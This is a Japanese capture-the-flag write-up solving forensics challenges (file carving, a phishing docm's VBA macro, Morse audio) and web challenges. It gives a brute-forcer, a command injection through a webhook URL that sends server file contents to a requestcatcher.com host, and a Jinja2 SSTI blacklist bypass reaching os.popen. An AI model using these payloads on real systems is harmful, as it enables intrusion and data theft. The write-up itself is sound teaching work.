- [forensics] Unsupported Format
- [forensics] Congratulations
- [forensics] Capybara
- [web] Scavenger Hunt
- [web] Checkmate
- [web] Flower Shop
- [web] Pick Your Starter
[forensics] Unsupported Format
jpgファイルが与えられるが破損しているので修復する問題。
バイナリエディタで眺めると0x100付近にJFIFという文字が見える。
通常jpegファイルの先頭周りについている文字列なのだが、ちゃんと開くjpegファイルと比較しても違和感がある。
先頭が違う?と思い、適当にforemost -v Flag.jpg
でfile carvingしなおすと開けるjpegファイルが抽出でき、
フラグが書いてある。
[forensics] Congratulations
docmファイルが与えられる。
oleidで見てみるが、特に気になる部分はない。
zipに拡張子を変えて解凍してみる。
word/media/image1.pngを見るとDocuSignを騙ったフィッシングドキュメントでBECを想定しているっぽい。
word/vbaProject.binがあり、マクロが埋め込まれていた。(oleid教えてくれないのね)
olevbaで中身を見てみよう。
olevba -c /vbaProject.bin
で抽出可能。
Dim x51 As String Dim x49 As String x51 = "C:\Program Files\Internet Explorer\iexplore.exe" Dim x50 As Integer Dim x47 As Double For x50 = 1 To 100 x47 = Sqr(x50) * 2 + 5 / x50 Next x50 MsgBox "cYvSGF9cFrrEmfYFW8Yo", vbInformation, "aThg" x49 = [char]0x50 + [char]0x43 + [char]0x54 + [char]0x46 + [char]0x7B + [char]0x33 + [char]0x6E + [char]0x34 + [char]0x62 + [char]0x6C + [char]0x33 + [char]0x5F + [char]0x6D + [char]0x34 + [char]0x63 + [char]0x72 + [char]0x30 + [char]0x35 + [char]0x5F + [char]0x70 + [char]0x6C + [char]0x7A + [char]0x5F + [char]0x32 + [char]0x37 + [char]0x33 + [char]0x31 + [char]0x35 + [char]0x36 + [char]0x37 + [char]0x30 + [char]0x7D Shell x51 & " " & x49, vbNormalFocus Application.Wait Now + TimeValue("00:00:02") MsgBox "sgTdrn8Np2Kpfnmr9y57" & x49, vbInformation, "foSds" Dim x45(1 To 10) As Integer Dim x46 As Integer For x50 = 1 To 10 x46 = Int((100 - 1 + 1) * Rnd + 1) x45(x50) = x46 Next x50 Dim x52 As Integer Dim x53 As Integer For x50 = 1 To 9 For x53 = x50 + 1 To 10 If x45(x50) > x45(x53) Then x52 = x45(x50) x45(x50) = x45(x53) x45(x53) = x52 End If Next x53 Next x50 Dim x54 As String For x50 = 1 To 10 x54 = x54 & x45(x50) & ", " Next x50 MsgBox "phNuYUNwdHHCJdVL4hJd" & Left(x54, Len(x54) - 2), vbInformation, "LOEC" Dim x55 As Worksheet Set x55 = ThisWorkbook.Sheets.Add(After:=ThisWorkbook.Sheets(ThisWorkbook.Sheets.Count)) x55.Name = "TtrZ4" Dim x56 As ChartObject Set x56 = x55.ChartObjects.Add(Left:=10, Top:=10, Width:=300, Height:=200) Dim x57 As Range Set x57 = x55.Range("A1:B5") x57.Value = Application.WorksheetFunction.RandBetween(1, 100) x56.Chart.SetSourceData Source:=x57 x56.Chart.ChartType = xlColumnClustered Exit Sub ErrorHandler: MsgBox "hWgjD9NKf7UqXdAq0GBb", vbCritical, "uv9b" End Sub
色々書いてあるが、以下を返還するとフラグになっていた。
x49 = [char]0x50 + [char]0x43 + [char]0x54 + [char]0x46 + [char]0x7B + [char]0x33 + [char]0x6E + [char]0x34 + [char]0x62 + [char]0x6C + [char]0x33 + [char]0x5F + [char]0x6D + [char]0x34 + [char]0x63 + [char]0x72 + [char]0x30 + [char]0x35 + [char]0x5F + [char]0x70 + [char]0x6C + [char]0x7A + [char]0x5F + [char]0x32 + [char]0x37 + [char]0x33 + [char]0x31 + [char]0x35 + [char]0x36 + [char]0x37 + [char]0x30 + [char]0x7D
[forensics] Capybara
jpegファイルが与えられる。
色々試すとbinwalkでFile Carvningすることでaudio.wavというファイルが得られる。
$ binwalk -e capybara.jpeg DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 JPEG image data, JFIF standard 1.01 151174 0x24E86 Zip archive data, at least v2.0 to extract, compressed size: 6902, uncompressed size: 919160, name: audio.wav 158170 0x269DA End of Zip archive, footer length: 22
音を聞くとモールス信号なので、https://morsecode.world/international/decoder/audio-decoder-adaptive.html
あたりを使ってデコードする。
結果にブレがあるのでうまく何回か試して結果を調整しながら使うと、hex stringsが得られ、hex to asciiでデコードすると
フラグが得られる。
[web] Scavenger Hunt
ソースコード無し。
フラグがページのあちこちに散らばってるので探して持ってくる問題。
Burp Suiteで開いて巡回して、ソースコード確認して、みたいな流れを繰り返して拾っていくといい。
GET /
->Flag 1/5 - PCTF{Hunt
GET /
のソースコード -><!-- Flag 2/5 - 3r5_4n -->
GET /robots.txt
(これだけ推測で頑張るしかない) -># Flag 3/5 - D_g4tH3
GET /script1.js
->console.log("Flag 4/5 - R5_e49");
GET /script2.js
->document.cookie = "Flag 5/5=e4a541}";
[web] Checkmate
ユーザー名パスワードを入れるサイトが与えられる。
以下のようにjavascriptでクライアント側で検証実施している。
nameは以下のように検証している。
function checkName(name){ var check = name.split("").reverse().join(""); return check === "uyjnimda" ? !0 : !1; }
反転してuyjnimdaと比較しているので、adminjyu
とすればいい。
passwordは以下のORで判定している。
function checkLength(pwd){ return (password.length % 6 === 0 )? !0:!1; } function checkValidity(password){ const arr = Array.from(password).map(ok); function ok(e){ if (e.charCodeAt(0)<= 122 && e.charCodeAt(0) >=97 ){ return e.charCodeAt(0); }} let sum = 0; for (let i = 0; i < arr.length; i+=6){ var add = arr[i] & arr[i + 2]; var or = arr[i + 1] | arr[i + 4]; var xor = arr[i + 3] ^ arr[i + 5]; if (add === 0x60 && or === 0x61 && xor === 0x6) sum += add + or - xor; } return sum === 0xbb ? !0 : !1; }
ANDで判定すればよさそうだが、ORになっている。
理由はよくわからないが、どっちも通るものを作ればよさそう。
まずif (add === 0x60 && or === 0x61 && xor === 0x6) sum += add + or - xor;
の部分をみると、1ループでsumにどれだけ加算されるかは分かる。
$ python3 -c "print(0x60+0x61-0x6);print(0xbb)" 187 187
という感じなので、パスワードの長さは6文字と見て良さそう。
ソースコードに// /check.php
とコメントがあるので、GETでアクセスしてみるとパスワードの入力画面が出てくる。
上記の条件を満たすパスワードは1つではないので、条件を満たすものを使ってブルートフォースすればよさそう。
以下のようにブルートフォーサーを書いて放っておくと、パスワードがsadsau
のときにフラグが得られる。
import time import requests for v0 in range(97,122 + 1): for v1 in range(97,122 + 1): for v2 in range(97,122 + 1): for v3 in range(97,122 + 1): for v4 in range(97,122 + 1): for v5 in range(97,122 + 1): if (v0 & v2) == 0x60 and (v1 | v4) == 0x61 and (v3 ^ v5) == 0x6: passwd = chr(v0) + chr(v1) + chr(v2) + chr(v3) + chr(v4) + chr(v5) print(passwd) t = requests.post('http://chal.pctf.competitivecyber.club:9096/check.php', data={'password':passwd}).text if 'incorrect password' not in t: print(t) print('did it!') exit(0) time.sleep(0.1)
[web] Flower Shop
phpで作られたwebサイトが与えられる。
GET /admin.php
をセッションのusernameがadminの状態で入ればフラグがもらえる。
一番怪しいのが、パスワードリセット処理を実施しているapp/classes/reset.class.php
の以下の部分。
exec("php ../scripts/send_pass.php " . $this->tmpPass . " " . $this->wh . " > /dev/null 2>&1 &");
明らかに不自然。
埋め込み変数の出元を辿ると$this->wh
はユーザー登録時に登録するWebhookのURLを指していて、
正常動作であれば、このWebhook先にパスワードリセット後の新しいパスワードが送られる。
Webhook URLは登録時に以下のようなバリデーションを実施する。
if (!filter_var($this->wh, FILTER_VALIDATE_URL)) { header("location: ../login.php?error=NotValidWebhook"); exit(); }
コマンドインジェクションに対してはこれだけでは不十分で、https://[yours].requestcatcher.com/test?q=$(id)
のようにWebhookを仕込み、
パスワードリセット処理を実行すると、idの出力が得られる。
あとはフィルタリングを回避しながら、出力もうまく調整しながら/var/www/html/admin.php
にあるフラグを取得すればいい。
自分は以下のようなURLを使用した。
http://[yours].requestcatcher.com/test?q=$(dd${IFS}if=/var/www/html/admin.php${IFS}bs=1${IFS}skip=325)
空白がバリデーションで弾かれるので${IFS}
を利用している。
あと、そのままadmin.phpを出力させて送ると空白とかでちゃんと送れないので、ddコマンドで先頭バイトを適当にskipして送っている。
[web] Pick Your Starter
ポケモンの最初の御三家のどれを選ぶか選択できるサイトが与えられる。
ちなみにヒトカゲを選ぶと/charmander
というパスに飛ばされる。
色々試すと/{{7*7}}
、つまり、GET /%7B%7B7*7%7D%7D
を試すと49と帰ってきてSSTI可能なことが分かる。
触ってみるとブラックリストがあるような気がする。
[] config | __builtins__ " ' +
さまよっていると、
http://chal.pctf.competitivecyber.club:5555/%7B%7Brequest.application.__globals__.__loader__.__init__.__globals__.sys.modules.os.popen(request.args.a).read()%7D%7D?a=id
でidコマンドが実行できた。
cat app.py
としてコードを見てみる。
from flask import Flask, render_template, render_template_string app = Flask(__name__) app.static_folder = 'static' starter_pokemon = { "charmander" : { "name": "Charmander", "type": "Fire", "abilities": ["Blaze", "Solar Power"], "height": "0.6m", "weight": "8.5 kg", "description": "Charmander is a Fire-type Pokémon known for its burning tail flame.", "picture": "https://assets.pokemon.com/assets/cms2/img/pokedex/full/004.png" }, "bulbasaur" : { "name": "Bulbasaur", "type": "Grass/Poison", "abilities": ["Overgrow", "Chlorophyll"], "height": "0.7m", "weight": "6.9 kg", "description": "Bulbasaur is a dual-type Grass/Poison Pokémon known for the plant bulb on its back.", "picture": "https://archives.bulbagarden.net/media/upload/f/fb/0001Bulbasaur.png" }, "squirtle" : { "name": "Squirtle", "type": "Water", "abilities": ["Torrent", "Rain Dish"], "height": "0.5m", "weight": "9.0 kg", "description": "Squirtle is a Water-type Pokémon known for its water cannons on its back.", "picture": "https://static.pokemonpets.com/images/monsters-images-800-800/7-Squirtle.webp" }, } def blacklist(string): block = ["config", "update", "builtins", "\"", "'", "`", "|", " ", "[", "]", "+", "-"] for item in block: if item in string: return True return False @app.route('/') def index(): render = render_template('index.html') return render_template_string(render) @app.route('/<pokemon>') def detail(pokemon): pokemon = pokemon.lower() try: render = render_template('pokemon_name.html', data=starter_pokemon[pokemon]) return render_template_string(render) except: if blacklist(pokemon): return render_template('error.html') render = render_template('404.html', pokemon=pokemon) return render_template_string(render) if __name__ == '__main__': app.run(debug=True)
ブラックリスト大体あってましたね。
updateは何をブロックしたかったんだろう。
ともあれ、cat /flag.txt
でフラグ獲得